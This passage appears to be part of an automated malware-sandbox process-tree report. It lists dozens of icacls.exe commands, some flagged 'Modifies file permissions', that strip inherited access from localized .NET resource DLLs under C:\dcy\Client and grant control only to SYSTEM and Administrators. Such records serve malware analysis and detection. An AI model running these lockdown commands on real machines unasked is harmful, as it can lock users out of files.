        icacls "C:\dcy\Client\de\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2672
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2412
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5712
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5636
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de-DE\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4940
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de-DE\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1240
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\el-GR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5220
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\el-GR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4052
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\en-GB\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\en-GB\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5352
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6108
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6112
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1944
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1812
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5132
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4624
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2468
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4108
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:220
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3272
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2424
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6124
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3372
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3460
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5968
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4032
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es-ES\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5156
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es-ES\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2592
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es-MX\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4972
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\es-MX\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:816
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\et-EE\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:548
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\et-EE\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5956
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\eu-ES\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1292
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\eu-ES\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4580
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fa-IR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2308
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fa-IR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5912
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fi-FI\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1832
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fi-FI\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2720
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3964
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1324
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5152
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4868
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1932
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4196
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3968
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5692
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3148
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4980
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4484
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5760
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4500
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5580
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4424
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5084
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4088
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr-CA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr-CA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr-FR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2340
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\fr-FR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4220
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\gl-ES\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5184
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\gl-ES\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4528
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\he-IL\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1896
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\he-IL\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6072
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hi-IN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3904
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hi-IN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3696
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hr-HR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5400
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hr-HR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1744
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hu-HU\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4344
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hu-HU\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4408
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\id-ID\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4336
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\id-ID\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4988
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\is-IS\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3160
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\is-IS\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2168
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:972
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1148
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5080
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3200
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5824
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4324
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2892
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:616
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5028
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4952
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5168
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4616
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3376
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5720
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:752
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5528
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it-IT\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3316
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\it-IT\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5460
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2464
      - C:\Windows\system32\icacls.exe
        
